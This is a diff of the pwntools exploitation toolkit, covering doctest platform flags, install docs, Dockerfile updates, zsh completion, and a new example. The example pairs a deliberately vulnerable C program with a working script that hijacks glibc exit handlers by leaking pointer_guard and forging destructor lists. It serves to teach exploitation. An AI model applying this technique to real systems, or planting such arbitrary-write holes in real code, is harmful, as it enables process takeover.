@@ -108,7 +104,7 @@ autodoc_member_order = 'groupwise' # 'alphabetical'
# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']
doctest_test_doctest_blocks = 'true'
doctest_test_doctest_blocks = 'default'
# The suffix of source filenames.
source_suffix = '.rst'
@@ -121,7 +117,7 @@ master_doc = 'index'
# General information about the project.
project = u'pwntools'
copyright = u'2016, Gallopsled et al.'
copyright = u'2016-2026, Gallopsled et al.'
# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
@@ -263,11 +259,11 @@ latex_elements = {
# (source start file, target name, title, author, documentclass [howto/manual]).
latex_documents = [
('index', 'pwntools.tex', u'pwntools Documentation',
u'2016, Gallopsled et al.', 'manual'),
u'2016-2026, Gallopsled et al.', 'manual'),
]
intersphinx_mapping = {'python': ('https://docs.python.org/3/', None),
'paramiko': ('https://docs.paramiko.org/en/2.1/', None)}
'paramiko': ('https://docs.paramiko.org/en/stable/', None)}
# The name of an image file (relative to this directory) to place at the top of
# the title page.
@@ -296,7 +292,7 @@ intersphinx_mapping = {'python': ('https://docs.python.org/3/', None),
# (source start file, name, description, authors, manual section).
man_pages = [
('index', 'pwntools', u'pwntools Documentation',
[u'2016, Gallopsled et al.'], 1)
[u'2016-2026, Gallopsled et al.'], 1)
]
# If true, show URL addresses after external links.
@@ -363,7 +359,7 @@ def linkcode_resolve(domain, info):
if isinstance(val, property):
val = val.fget
if isinstance(val, (types.ModuleType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType) + six.class_types):
if isinstance(val, (types.ModuleType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType, type)):
try:
lines, first = inspect.getsourcelines(val)
filename += '#L%d-L%d' % (first, first + len(lines) - 1)
@@ -388,7 +384,6 @@ if build_dash:
# -- Customization to Sphinx autodoc generation --------------------------------------------
import sphinx.ext.autodoc
# Test hidden members (e.g. def _foo(...))
def dont_skip_any_doctests(app, what, name, obj, skip, options):
@@ -396,56 +391,110 @@ def dont_skip_any_doctests(app, what, name, obj, skip, options):
autodoc_default_options = {'special-members': None, 'private-members': None}
class _DummyClass(object): pass
# doctest optionflags for platform-specific tests
# they are skipped on other platforms
WINDOWS = doctest.register_optionflag('WINDOWS')
LINUX = doctest.register_optionflag('LINUX')
POSIX = doctest.register_optionflag('POSIX')
class Py2OutputChecker(_DummyClass, doctest.OutputChecker):
def check_output(self, want, got, optionflags):
sup = super(Py2OutputChecker, self).check_output
if sup(want, got, optionflags):
return True
try:
rly_want = pwnlib.util.safeeval.const(want)
if sup(repr(rly_want), got, optionflags):
return True
rly_got = pwnlib.util.safeeval.const(got)
if rly_want == rly_got:
return True
except ValueError:
pass
rly_want = ' '.join(x[:2].replace('b"','"').replace("b'","'")+x[2:] for x in want.replace('\n','\n ').split(' ')).replace('\n ','\n')
if sup(rly_want, got, optionflags):
return True
rly_want = ' '.join(x[:2].replace('b"',' "').replace("b'"," '")+x[2:] for x in want.replace('\n','\n ').split(' ')).replace('\n ','\n')
if sup(rly_want, got, optionflags):
return True
for wantl, gotl in six.moves.zip_longest(want.splitlines(), got.splitlines(), fillvalue=''):
rly_want1 = '['.join(x[:2].replace('b"','"').replace("b'","'")+x[2:] for x in wantl.split('['))
rly_want2 = ' '.join(x[:2].replace('b"',' "').replace("b'"," '")+x[2:] for x in wantl.split(' '))
if not sup(rly_want1, gotl, optionflags) and not sup(rly_want2, gotl, optionflags):
# doctest optionflag for tests that haven't been looked at yet
TODO = doctest.register_optionflag('TODO')
import sphinx.ext.doctest
class PlatformDocTestRunner(sphinx.ext.doctest.SphinxDocTestRunner):
def run(self, test, compileflags=None, out=None, clear_globs=True):
original_optionflags = self.optionflags | test.globs.get('doctest_additional_flags', 0)
def filter_platform(example):
optionflags = original_optionflags
if example.options:
for (optionflag, val) in example.options.items():
if val:
optionflags |= optionflag
else:
optionflags &= ~optionflag
if (optionflags & WINDOWS) == WINDOWS and sys.platform != 'win32':
return False
return True
if (optionflags & LINUX) == LINUX and sys.platform != 'linux':
return False
if (optionflags & POSIX) == POSIX and os.name != 'posix':
return False
return True
test.examples[:] = [example for example in test.examples if filter_platform(example)]
return super(PlatformDocTestRunner, self).run(test, compileflags, out, clear_globs)
def py2_doctest_init(self, checker=None, verbose=None, optionflags=0):
if checker is None:
checker = Py2OutputChecker()
doctest.DocTestRunner.__init__(self, checker, verbose, optionflags)
class PlatformDocTestBuilder(sphinx.ext.doctest.DocTestBuilder):
def __init__(self, *args, **kwargs):
super(PlatformDocTestBuilder, self).__init__(*args, **kwargs)
self._test_runner = None
self._doctree_had_tests = False
@property
def test_runner(self):
return self._test_runner
@test_runner.setter
def test_runner(self, value):
self._test_runner = PlatformDocTestRunner(value._checker, value._verbose, value.optionflags)
def test_doc(self, docname, doctree):
start = datetime.now(timezone.utc).astimezone()
# self._out(f"[{start.isoformat(timespec='milliseconds')}] doctest start: {docname}\n")
self._doctree_had_tests = False
try:
return super(PlatformDocTestBuilder, self).test_doc(docname, doctree)
finally:
# Only print the timestamp if there were actually tests run.
if self._doctree_had_tests:
end = datetime.now(timezone.utc).astimezone()
duration = (end - start).total_seconds()
self._out(f"[{end.isoformat(timespec='milliseconds')} - {duration:.2f}s]\n")
self._doctree_had_tests = False
def test_group(self, group):
# Only called when there are tests to run in the current document.
self._doctree_had_tests = True
return super(PlatformDocTestBuilder, self).test_group(group)
if 'doctest' in sys.argv:
def setup(app):
pass # app.connect('autodoc-skip-member', dont_skip_any_doctests)
app.add_builder(PlatformDocTestBuilder, override=True)
# app.connect('autodoc-skip-member', dont_skip_any_doctests)
# monkey patching paramiko due to https://github.com/paramiko/paramiko/pull/1661
import paramiko.client
import binascii
paramiko.client.hexlify = lambda x: binascii.hexlify(x).decode()
paramiko.util.safe_string = lambda x: '' # function result never *actually used*
if sys.version_info[:1] < (3,):
import sphinx.ext.doctest
sphinx.ext.doctest.SphinxDocTestRunner.__init__ = py2_doctest_init
else:
# monkey patching paramiko due to https://github.com/paramiko/paramiko/pull/1661
import paramiko.client
import binascii
paramiko.client.hexlify = lambda x: binascii.hexlify(x).decode()
paramiko.util.safe_string = lambda x: '' # function result never *actually used*
class EndlessLoop(Exception): pass
def alrm_handler(sig, frame):
signal.alarm(180) # three minutes
raise EndlessLoop()
signal.signal(signal.SIGALRM, alrm_handler)
signal.alarm(600) # ten minutes
if hasattr(signal, 'alarm'):
def alrm_handler(sig, frame):
signal.alarm(180) # three minutes
raise EndlessLoop()
signal.signal(signal.SIGALRM, alrm_handler)
signal.alarm(600) # ten minutes
else:
def sigabrt_handler(signum, frame):
raise EndlessLoop()
# thread.interrupt_main received the signum parameter in Python 3.10
if sys.version_info >= (3, 10):
signal.signal(signal.SIGABRT, sigabrt_handler)
def alrm_handler():
try:
import thread
except ImportError:
import _thread as thread
# pre Python 3.10 this raises a KeyboardInterrupt in the main thread.
# it might not show a traceback in that case, but it will stop the endless loop.
thread.interrupt_main(signal.SIGABRT)
timer = threading.Timer(interval=180, function=alrm_handler) # three minutes
timer.daemon = True
timer.start()
import threading
timer = threading.Timer(interval=600, function=alrm_handler) # ten minutes
timer.daemon = True
timer.start()
+3
View File
@@ -18,6 +18,9 @@
# Set the environment here so it's not in the middle of our tests.
os.environ.setdefault('SHELL', '/bin/sh')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.elf.corefile` --- Core Files
===========================================================
+4
View File
@@ -5,6 +5,10 @@
from pwnlib.elf.maps import CAT_PROC_MAPS_EXIT
import shutil
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.elf.elf` --- ELF Files
===========================================================
+4
View File
@@ -1,6 +1,10 @@
.. testsetup:: *
from pwn import *
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.encoders` --- Encoding Shellcode
===============================================
+1
View File
@@ -1,6 +1,7 @@
.. testsetup:: *
from pwnlib.filepointer import *
from pwnlib.filepointer import _update_var
:mod:`pwnlib.filepointer` --- `FILE*` structure exploitation
============================================================
+4 -1
View File
@@ -1,11 +1,14 @@
.. testsetup:: *
import time
import six
from pwnlib.context import context
from pwnlib.tubes.ssh import ssh
from pwnlib.filesystem import *
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.filesystem` --- Manipulating Files Locally and Over SSH
====================================================================
+4
View File
@@ -4,6 +4,10 @@
context.arch = 'amd64'
context.terminal = [os.path.join(os.path.dirname(pwnlib.__file__), 'gdb_faketerminal.py')]
# TODO: Test on cygwin too
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.gdb` --- Working with GDB
======================================
+4 -4
View File
@@ -52,27 +52,27 @@ Each of the ``pwntools`` modules is documented here.
context
dynelf
encoders
elf/*
elf
exception
filepointer
filesystem
flag
fmtstr
gdb
libc
libcdb
log
memleak
protocols
qemu
regsort
replacements
rop/*
rop
runner
shellcraft
shellcraft/*
term
timeout
tubes
tubes/*
ui
update
useragents
+10 -2
View File
@@ -1,7 +1,7 @@
Installation
============
Pwntools is best supported on 64-bit Ubuntu LTS releases (14.04, 16.04, 18.04, and 20.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
Pwntools is best supported on 64-bit Ubuntu LTS releases (22.04 and 24.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
Prerequisites
-------------
@@ -18,14 +18,20 @@ following system libraries installed.
Note: For Mac OS X you will need to have cmake ``brew install cmake`` and pkg-config ``brew install pkg-config`` installed.
.. code-block:: bash
brew install pwntools
Released Version
-----------------
pwntools is available as a ``pip`` package for both Python2 and Python3.
pwntools is available as a ``pip`` package for Python3. Version v5.0.0 supports Python3.10 or later. Use v4 if you use earlier versions of Python.
Python3
^^^^^^^
The Python version required for installing Pwntools is kept as low as possible on a best-effort basis. However, new features target Python3.10 and later.
.. code-block:: bash
$ sudo apt-get update
@@ -37,6 +43,8 @@ Python3
Python2 (Deprecated)
^^^^^^^^^^^^^^^^^^^^
Python2 support has been removed in Pwntools v5.0.0. The last version to support Python2 was v4.15.0.
NOTE: Pwntools maintainers STRONGLY recommend using Python3 for all future Pwntools-based scripts and projects.
Additionally, due to `pip` dropping support for Python2, a specfic version of `pip` must be installed.
+8
View File
@@ -42,12 +42,20 @@ repo <https://github.com/Gallopsled/pwntools-binutils/>`__.
$ wget https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-$ARCH.rb
$ brew install ./binutils-$ARCH.rb
Note: The pwntools/pwntools Homebrew tap is currently (August 2026) undergoing migration.
If you encounter issues on Mac OS, try running ``export HOMEBREW_DEVELOPER="true"`` before ``brew install ...``.
The actual resolution of the tap migration is still pending.
Windows
^^^^^^^^^^^^^^^^
Windows support is experimental. You can try installing a prebuilt version of binutils
for your desired architecture from the `GNU Toolchains <https://gnutoolchains.com/>`__ project.
Note: For x86 and x86_64, you should use the `ubuntu toolchain <https://gnutoolchains.com/ubuntu/>`__
instead of the MinGW toolchains due to differences in the commandline handling.
Alternate OSes
^^^^^^^^^^^^^^^^
+3
View File
@@ -2,6 +2,9 @@
from pwn import *
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
Getting Started
========================
+10
View File
@@ -0,0 +1,10 @@
:mod:`pwnlib.libc` --- Convenient Functions for Libc Implementations
====================================================================
Submodules
----------
.. toctree::
:glob:
libc/*
+9
View File
@@ -0,0 +1,9 @@
.. testsetup:: *
from pwn import *
:mod:`pwnlib.libc.glibc` --- Convenient Functions for Glibc
===========================================================
.. automodule:: pwnlib.libc.glibc
:members:
+4
View File
@@ -3,6 +3,10 @@
from pwn import *
from pwnlib.libcdb import *
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.libcdb` --- Libc Database
===========================================
+4
View File
@@ -2,6 +2,10 @@
from pwn import *
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.qemu` --- QEMU Utilities
==========================================
+4
View File
@@ -19,6 +19,10 @@
context.clear()
# TODO: Remove global LINUX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.rop.rop` --- Return Oriented Programming
==========================================================
+3
View File
@@ -7,6 +7,9 @@
from pwnlib.elf import ELF
from pwnlib.tubes.process import process
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.rop.srop` --- Sigreturn Oriented Programming
==========================================================
+4
View File
@@ -3,6 +3,10 @@
from pwnlib.runner import *
from pwnlib.asm import asm
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.runner` --- Running Shellcode
===========================================
+4
View File
@@ -2,6 +2,10 @@
from pwnlib import shellcraft
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.shellcraft` --- Shellcode generation
=================================================
+3
View File
@@ -3,6 +3,9 @@
from pwn import *
context.clear(arch='aarch64')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.aarch64` --- Shellcode for AArch64
===========================================================
+4
View File
@@ -3,6 +3,10 @@
from pwn import *
context.clear(arch='amd64')
# TODO: POSIX/WINDOWS shellcode test
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.amd64` --- Shellcode for AMD64
===========================================================
+3
View File
@@ -3,6 +3,9 @@
from pwn import *
context.clear(arch='arm')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.arm` --- Shellcode for ARM
===========================================================
+3
View File
@@ -3,6 +3,9 @@
from pwn import *
context.clear(arch='i386')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.shellcraft.i386` --- Shellcode for Intel 80386
===========================================================
+22
View File
@@ -0,0 +1,22 @@
.. testsetup:: *
from pwn import *
context.clear(arch='loongarch64')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.loongarch64` --- Shellcode for LoongArch64
==================================================================
:mod:`pwnlib.shellcraft.loongarch64`
------------------------------------
.. automodule:: pwnlib.shellcraft.loongarch64
:members:
:mod:`pwnlib.shellcraft.loongarch64.linux`
------------------------------------------
.. automodule:: pwnlib.shellcraft.loongarch64.linux
:members:
+3
View File
@@ -12,6 +12,9 @@
context.clear(arch='mips')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.mips` --- Shellcode for MIPS
===========================================================
+3
View File
@@ -3,6 +3,9 @@
from pwn import *
context.clear(arch='riscv64')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.riscv64` --- Shellcode for RISCV64
==========================================================
+3
View File
@@ -3,6 +3,9 @@
from pwn import *
context.clear(arch='thumb')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.thumb` --- Shellcode for Thumb Mode
===========================================================
+4
View File
@@ -2,6 +2,10 @@
from pwn import *
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.tubes.ssh` --- SSH
===========================================================
+3
View File
@@ -3,6 +3,9 @@
from pwn import *
import io
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.ui` --- Functions for user interaction
===================================================
+3
View File
@@ -2,6 +2,9 @@
from pwnlib.util.net import *
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.util.net` --- Networking interfaces
===================================================
+3
View File
@@ -4,6 +4,9 @@
from pwnlib.tubes.process import process
import os, sys
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.util.proc` --- Working with ``/proc/``
===================================================
+72
View File
@@ -0,0 +1,72 @@
# The prebuilt binary is compiled in Arch Linux with glibc 2.43
from pwn import *
import shutil
import tempfile
import os
context.log_level = 'debug'
context.arch = 'amd64'
EXE = './vulnerable'
t = process(EXE)
elf = ELF(EXE)
# Copy libc so later we can unstrip it
libc = elf.libc
tmpfd, tmpname = tempfile.mkstemp()
print(tmpfd)
with open(libc.file.name, 'rb') as f:
shutil.copyfileobj(f, os.fdopen(tmpfd, 'wb'))
libcdb.unstrip_libc(tmpname)
libc = ELF(tmpname)
# Now fetch information
# XXX: in my build, the tls variable locates at fs:[-4]
t.recvuntil(b': ')
tls = int(t.recvline(), 16)
info(f'Ready to read pointer_guard @ {tls + 0x30 + 4:#x}')
t.recvuntil(b': ')
handle = int(t.recvline(), 16)
t.recvuntil(b': ')
libc_base = int(t.recvline(), 16) - libc.symbols['puts']
info(f'Leak libc_base: {libc_base:#x}')
libc.address = libc_base
t.recvuntil(b': ')
chunk = int(t.recvline(), 16)
# Then read pointer_guard value
t.sendlineafter(b'%p', hex(tls + 0x30 + 4).encode())
t.recvuntil(b': ')
guard = int(t.recvline(), 16)
info(f'Guard is: {guard:#x}')
# Next overwrite initial and tls_dtors
t.recvuntil(b'%p=%lx')
# XXX: dtor_list->map->l_tls_dtor_count need to be dereferenced
# on glibc 2.43, the offset is 0x498
tls_dtor = glibc.ExitDtorList(handle, guard, chunk, chunk, 0)
g_dtor = glibc.ExitFunc(glibc.ExitFlavor.CXA, handle, guard, 0xabcd, 0)
g_dtor_list = glibc.ExitFuncList(0, [g_dtor])
def write_object(addr: int, blob: bytes) -> str:
return ' '.join(
f'{addr + i:#x}={u64(blob[i:i + 8]):#x}'
for i in range(0, len(blob), 8)
)
# Firstly, write glibc initial to overwrite global dtor
t.sendline(write_object(libc.symbols['initial'], bytes(g_dtor_list)).encode())
# Secondly, write tls dtor
t.sendline(write_object(chunk, bytes(tls_dtor)).encode())
# XXX: tls_dtor_list must be free-able
# XXX: tls_dtor_list is not hard-encoded (in glibc GOT),
# on my machine it's fs:[-0x48]
t.sendline(write_object(tls + 4 - 0x48, p64(chunk)).encode())
# Thirdly, terminate cycle
t.sendline(b'x')
# Finally, wait for exit
t.recvuntil(b'happen:\n')
t.interactive()
BIN
View File
Binary file not shown.
+39
View File
@@ -0,0 +1,39 @@
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <threads.h>
#include <unistd.h>
thread_local int x;
void malicious_handler(void *arg) {
printf("Calling handler with %p\n", arg);
}
int main(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("Assume you have some way to leak information about TLS: %p\n", &x);
printf("Some more information about function to hijack: %p\n", malicious_handler);
printf("You can't exploit without glibc: %p\n", puts);
void *p = malloc(0x500);
printf("To continue destructor chain, a forged link_map and dtor is needed: %p\n", p);
printf("Then you have some way to read/write pointer_guard\n");
size_t *where = NULL;
printf("Where to read? %%p > ");
scanf("%p", &where);
printf("Dereferenced value: %#lx\n", where ? *where : 0);
printf("Now perform arbitrary write ability on hijack exit handlers...\n");
printf("Write addresses in pairs: %%p=%%lx\n");
size_t value = 0;
while (scanf("%p=%lx", &where, &value) == 2) {
*where = value;
}
printf("Let's exit to see what will happen:\n");
return 0;
}
+8 -12
View File
@@ -3,12 +3,12 @@
# Based on Ubuntu
############################################################
FROM ubuntu:jammy
MAINTAINER Maintainer Gallopsled et al.
FROM ubuntu:noble
LABEL maintainer="Maintainer Gallopsled et al."
ENV LANG en_US.UTF-8
ENV LANGUAGE en_US:en
ENV LC_ALL en_US.UTF-8
ENV LANG=en_US.UTF-8
ENV LANGUAGE=en_US:en
ENV LC_ALL=en_US.UTF-8
ARG DEBIAN_FRONTEND=noninteractive
RUN apt-get update \
@@ -20,9 +20,6 @@ RUN apt-get update \
git \
libssl-dev \
libffi-dev \
python2.7 \
python2.7-dev \
python2-pip-whl \
python3 \
python3-pip \
python3-dev \
@@ -38,15 +35,14 @@ RUN apt-get update \
binutils-s390x-linux-gnu \
binutils-sparc64-linux-gnu \
binutils-riscv64-linux-gnu \
binutils-loongarch64-linux-gnu \
tmux \
patchelf \
&& locale-gen en_US.UTF-8 \
&& update-locale LANG=en_US.UTF-8 \
&& PYTHONPATH=`echo /usr/share/python-wheels/pip-*.whl` python2.7 -m pip install --no-cache-dir --upgrade pip setuptools wheel \
&& python2.7 -m pip install --no-cache-dir --upgrade pwntools \
&& python3 -m pip install --no-cache-dir --upgrade pip \
&& python3 -m pip install --no-cache-dir --upgrade pwntools \
&& python3 -m pip install --no-cache-dir --break-system-packages --upgrade pwntools \
&& PWNLIB_NOTERM=1 pwn update \
&& userdel -r ubuntu \
&& useradd -m pwntools \
&& passwd --delete --unlock pwntools \
&& echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
+1 -2
View File
@@ -1,7 +1,6 @@
FROM pwntools/pwntools:stable
USER root
RUN python2.7 -m pip install --no-cache-dir --upgrade git+https://github.com/Gallopsled/pwntools@beta \
&& python3 -m pip install --no-cache-dir --force-reinstall --upgrade git+https://github.com/Gallopsled/pwntools@beta
RUN python3 -m pip uninstall --break-system-packages -q -y pwntools && python3 -m pip install --no-cache-dir --break-system-packages --upgrade git+https://github.com/Gallopsled/pwntools@beta
RUN PWNLIB_NOTERM=1 pwn update
USER pwntools
-8
View File
@@ -1,8 +0,0 @@
from debian:buster
RUN apt-get update
RUN apt-get -y dist-upgrade
RUN apt-get -y install python3 python3-pip
RUN apt-get -y install git wget unzip
RUN pip3 install --no-cache-dir --upgrade git+https://github.com/Gallopsled/pwntools@dev
+1 -2
View File
@@ -1,7 +1,6 @@
FROM pwntools/pwntools:stable
USER root
RUN python2.7 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools@dev \
&& python3 -m pip install --force-reinstall --upgrade git+https://github.com/Gallopsled/pwntools@dev
RUN python3 -m pip uninstall --break-system-packages -q -y pwntools && python3 -m pip install --no-cache-dir --break-system-packages --upgrade git+https://github.com/Gallopsled/pwntools@dev
RUN PWNLIB_NOTERM=1 pwn update
USER pwntools
+4 -8
View File
@@ -5,8 +5,7 @@ ENV HISTFILE=/home/pwntools/.history
# Uninstall existing versions of pwntools
USER root
RUN python2.7 -m pip uninstall -q -y pwntools \
&& python3 -m pip uninstall -q -y pwntools
RUN python3 -m pip uninstall --break-system-packages -q -y pwntools
# Switch back to the pwntools user from here forward
USER pwntools
@@ -18,17 +17,14 @@ ENV PATH="/home/pwntools/.local/bin:${PATH}"
# Install Pwntools to the home directory, make it an editable install
RUN git clone https://github.com/Gallopsled/pwntools \
&& python2.7 -m pip install --upgrade --editable pwntools \
&& python3 -m pip install --upgrade --editable pwntools \
&& python3 -m pip install --break-system-packages --upgrade --editable pwntools \
&& PWNLIB_NOTERM=1 pwn version
# Requirements for running the tests
RUN python2.7 -m pip install --upgrade --requirement pwntools/docs/requirements.txt \
&& python3 -m pip install --upgrade --requirement pwntools/docs/requirements.txt
RUN python3 -m pip install --break-system-packages --upgrade --requirement pwntools/docs/requirements.txt
# Python niceties for debugging
RUN python2.7 -m pip install -U ipython ipdb \
&& python3 -m pip install -U ipython ipdb
RUN python3 -m pip install --break-system-packages -U ipython ipdb
# Dependencies from .travis.yml addons -> apt -> packages
ARG DEBIAN_FRONTEND=noninteractive
+1 -1
View File
@@ -408,7 +408,7 @@ c.TerminalInteractiveShell.prompts_class = ClassicPrompts
# Options for configuring the SQLite connection
#
# These options are passed as keyword args to sqlite3.connect when establishing
# database conenctions.
# database connections.
# c.HistoryManager.connection_options = {}
# enable the SQLite history
+1 -2
View File
@@ -1,7 +1,6 @@
FROM pwntools/pwntools:base
USER root
RUN python2.7 -m pip install --no-cache-dir --upgrade git+https://github.com/Gallopsled/pwntools@stable \
&& python3 -m pip install --no-cache-dir --force-reinstall --upgrade git+https://github.com/Gallopsled/pwntools@stable
RUN python3 -m pip uninstall --break-system-packages -q -y pwntools && python3 -m pip install --no-cache-dir --break-system-packages --upgrade git+https://github.com/Gallopsled/pwntools@stable
RUN PWNLIB_NOTERM=1 pwn update
USER pwntools
+223 -79
View File
@@ -5,13 +5,63 @@
# Pwntools Command-line Interface
#
# This file was generated with help from Zargparse (https://github.com/ctil/zargparse)
# NOTE: Don't use Zargparse any more as it may bring known errors!
# ----------------------------------------------------------------------------------------
_comp_pid() {
if [[ $1 == 'pid' ]] {
local line pids lines
pids=()
# extract command output line by line
lines=("${(@f)$(ps --ppid 2 -p 2 -N -o pid=,tty=,user=,comm=)}")
for line ($lines) {
pids+=${line[(w)1]} # extract first word (pid)
}
_wanted nonk-pids expl 'non-kernel process ID' \
compadd -o nosort -ld lines -a pids
} elif [[ $1 == 'procs' ]] {
local line names lines
names=()
# extract command output line by line
lines=("${(@f)$(ps --ppid 2 -p 2 -N -o comm=,pid=,tty=,user=)}")
for line ($lines) {
names+=${line[(w)1]} # extract first word (pid)
}
_wanted nonk-comm expl 'non-kernel process names' \
compadd -o nosort -ld lines -a names
}
}
_comp_funcs() {
local names
output=$(readelf -Ws $1 2>/dev/null)
if [[ $? -ne 0 ]] {
return
}
names=("${(f)$(awk '$4=="FUNC" && $7!="UND" {print $8}' <(echo "$output"))}")
if [[ $#names -gt 0 ]] {
_values "FUNCTIONS" $names
}
}
_comp_error() {
local -a names
which errno > /dev/null
if [[ $? -ne 0 ]] {
return
}
names=("${(f)$(LC_ALL=C errno -l | awk '{printf "%s:(%d) %s\n", $1, $2, substr($0, length($1 $2)+3)}')}")
_describe "ERRORS" names
}
typeset -A opt_args
_pwn() {
setopt localoptions
setopt extendedglob
# Define the subcommands
local -a commands
commands=(
'asm:Assemble shellcode into bytes'
'checksec:Check binary security settings'
@@ -24,174 +74,268 @@ _pwn() {
'elfpatch:Patch an ELF file'
'errno:Prints out error messages'
'hex:Hex-encodes data provided on the command line or stdin'
'libcdb:Print various information about a libc binary'
'phd:Pretty hex dump'
'scramble:Strip binaries for CTF usage'
'shellcraft:Shellcode encoder'
'template:Microwave shellcode -- Easy, fast and delicious'
'unhex:Generate an exploit template'
'update:Decodes hex-encoded data provided on the command line or via stdin.'
'version:Check for pwntools updates'
'pwnstrip:Strip binaries for CTF usage'
'scramble:Shellcode encoder'
'shellcraft:Microwave shellcode -- Easy, fast and delicious'
'template:Generate an exploit template'
'unhex:Decodes hex-encoded data provided on the command line or via stdin.'
'update:Check for pwntools updates'
'version:Pwntools version'
)
# Global flags (i.e. ones not associated with a subcommand)
_arguments \
"1: :{_describe 'command' commands}" \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
"1:COMMAND: _describe 'command' commands" \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'*:: :->args'
# Flags for each subcommand
case $state in
args)
case $words[1] in
pwnstrip)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-b --build-id)'{-b,--build-id}'[Strip build ID]' \
'(-p --patch)'{-p,--patch}'=[Patch function]:' \
'(-o --output)'{-o,--output}'=[None]:' \
;;
asm)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-f --format)'{-f,--format}'=[Output format (defaults to hex for ttys, otherwise raw)]:-f :(raw hex string elf)' \
'(-o --output)'{-o,--output}'=[Output file (defaults to stdout)]:' \
'(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'(-v --avoid)'{-v,--avoid}'=[Encode the shellcode to avoid the listed bytes (provided as hex)]:' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-f --format)'{-f,--format}'[Output format]:FORMAT:(raw hex string elf)' \
'(-o --output)'{-o,--output}'[Output file (defaults to stdout)]:OUTPUT:_files' \
'(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'(-v --avoid)'{-v,--avoid}'[Encode the shellcode to avoid the listed bytes (provided as hex)]:HEXBYTES: ' \
'(-n --newline)'{-n,--newline}'[Encode the shellcode to avoid newlines]' \
'(-z --zero)'{-z,--zero}'[Encode the shellcode to avoid NULL bytes]' \
'(-d --debug)'{-d,--debug}'[Debug the shellcode with GDB]' \
'(-e --encoder)'{-e,--encoder}'=[Specific encoder to use]:' \
'(-i --infile)'{-i,--infile}'=[Specify input file]:' \
'(-i --infile)'{-i,--infile}'[Specify input file]:INPUT:_files' \
'(-r --run)'{-r,--run}'[Run output]' \
'*:LINE: '
;;
